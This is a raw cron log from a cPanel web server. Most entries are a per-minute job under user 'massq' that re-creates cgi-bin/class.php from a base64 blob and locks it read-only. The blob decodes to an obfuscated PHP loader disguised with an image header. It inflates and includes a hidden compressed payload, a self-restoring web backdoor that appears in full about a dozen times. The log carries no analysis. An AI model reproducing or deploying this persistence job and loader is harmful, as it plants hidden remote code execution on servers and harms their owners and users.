Nov 13 01:57:01 server CROND[15582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:57:01 server CROND[15583]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 01:58:01 server CROND[16153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:59:01 server CROND[17010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:00:01 server CROND[17894]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 02:00:01 server CROND[17896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:00:01 server CROND[17895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:00:01 server CROND[17897]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 02:00:01 server CROND[17898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:00:01 server CROND[17899]: (root) CMD (/usr/local/cpanel/bin/backup)
Nov 13 02:01:01 server CROND[18861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:01:01 server CROND[18862]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 02:01:01 server run-parts(/etc/cron.hourly)[18862]: starting 0anacron
Nov 13 02:01:01 server anacron[18875]: Anacron started on 2025-11-13
Nov 13 02:01:01 server anacron[18875]: Normal exit (0 jobs run)
Nov 13 02:01:01 server run-parts(/etc/cron.hourly)[18877]: finished 0anacron
Nov 13 02:02:01 server CROND[19744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:03:01 server CROND[20611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:04:01 server CROND[21064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:05:01 server CROND[21946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:05:01 server CROND[21948]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 13 02:05:01 server CROND[22002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 02:05:01 server CROND[22003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:05:01 server CROND[22006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:06:01 server CROND[22990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:07:01 server CROND[23749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:08:01 server CROND[24338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:09:01 server CROND[25104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:09:01 server CROND[25105]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
